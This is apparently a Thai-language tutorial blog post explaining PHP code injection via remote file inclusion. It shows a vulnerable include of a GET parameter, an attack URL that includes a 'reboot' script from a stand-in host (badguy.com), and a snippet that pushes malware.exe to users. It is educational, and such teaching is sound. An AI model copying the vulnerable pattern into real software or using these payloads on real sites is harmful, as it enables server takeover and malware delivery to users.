การโจมตีและช่องโหว่ประเภท Code Injection

Code Injection เป็นการโจมตีประเภท injection อีกชนิดหนึ่งที่สามารถสร้างความเสียหายต่อเว็บแอปพลิเคขันได้รุนแรง อย่างไรก็ตาม Code Injection นั้นพบได้ไม่บ่อยเท่ากับ SQL injection เนื่องจากเว็บแอปพลิเคชันที่มีช่องโหว่ประเภท Code Injection จะต้องมีการนำข้อมูลที่ได้รับมาจากผู้ใช้งาน (user input) มาเป็นส่วนหนึ่งในการประมวลผล

อะไรคือ Code Injection

Code Injection มีความหมายค่อนข้างกว้าง หากแปลตรงตัวก็จะได้ว่าเป็นการใส่ซอร์สโค้ดลงไปในเว็บแอปพลิเคชันเพื่อจุดประสงค์บางอย่าง ดังนั้น นักพัฒนาระบบบางกลุ่มก็เรียกการโจมตีประเภท Cross-site scripting (XSS) ว่า Code Injection เหมือนกันเพราะเป็นนการใส่ JavaScript ลงไปในเว็บแอปพลิเคชัน อย่างไรก็ตามในบทความนี้จะยึดตามหลักการของ OWASP ที่จัดประเภทของ Code Injection แยกออกจาก XSS โดย Code Injection ที่ผมจะอธิบายในบทความนี้จะหมายถึง การที่เว็บแอปพลิเคชันมีช่องโหว่ที่ผู้ใช้งานสามารถแทรกซอร์สโค้ดแปลกปลอมลงใน back-end เท่านั้น

ตัวอย่าง Code Injection

<?php
        $page = $_GET['page'];
        include($page);
?>

โดยเจ้าของเว็บแอปพลิเคชันอาจจะใช้ Link นี้ในการแสดงผลข้อมูลที่เรียกอ่านจากหน้าต่าง ๆ ดังตัวอย่างด้านล่าง

http://www.somebank.com/page=goodpage.php

การ include ซอร์สโค้ดโดยเปิดโอกาสในการแก้ไข parameter โดยผู้ใช้งานเป็นการเปิดโอกาสให้กับผู้ไม่หวังดีทำการโจมตีด้วย code injection ได้ โดยการ include code ดังกล่าวเพื่อทำการ reboot เซิร์ฟเวอร์

reboot.php

<?php
  system("reboot");
?>

Link ที่ผู้ไม่หวังดีทำการ include ซอร์สโค้ดจากเซิร์ฟเวอร์ตัวเองเพื่อทำการ reboot ระบบ (โอกาสโจมตีที่สำเร็จขึ้นอยู่กับ 1.เว็บเซิร์ฟเวอร์ได้ตั้งค่าให้มีการ include ไฟล์จากต่างโดเมน 2.Web Server มีการทำงานด้วยสิทธิของ root)

http://www.somebank.com/page=http//www.badguy.com/reboot.php

ช่องโหว่ Code Injection อนุญาตให้ผู้ไม่หวังดีทำการส่งซอร์สโค้ดอะไรก็ได้ให้ทำงานบนเครื่องเซิร์ฟเวอร์ซึ่งก่อให้เกิดอันตรายต่อทั้งเซิร์ฟเวอร์เองหรือผู้ใช้งาน ตัวอย่างอื่น ๆ ที่เป็นอันตรายต่อผู้ใช้งานเช่น ผู้ไม่หวังดีสามารถทำการสั่งให้ผู้ใช้งาน download ไฟล์ malware เข้าไปในเครื่องตัวเองได้

<?php
  $file_url = 'http://www.badguy.com/malware.exe';
  header('Content-Type: application/octet-stream');
  header("Content-Transfer-Encoding: Binary"); 
  header("Content-disposition: attachment; filename=\"" . basename($file_url) . "\""); 
  readfile($file_url);
?>

ตัวอย่างการโจมตีด้านบนเป็นเพียงการสาธิตหลักการของ Code Injection เท่านั้น ในความเป็นจริงแล้วช่องโหว่ประเภทนี้พบได้น้อยกว่า SQL Injection มากเพราะว่าเป็นรูปแบบการเขียนเว็บแอปพลิเคชันที่พบได้ไม่บ่อย

อ้างอิง

1. Code Injection

 


Leave a Reply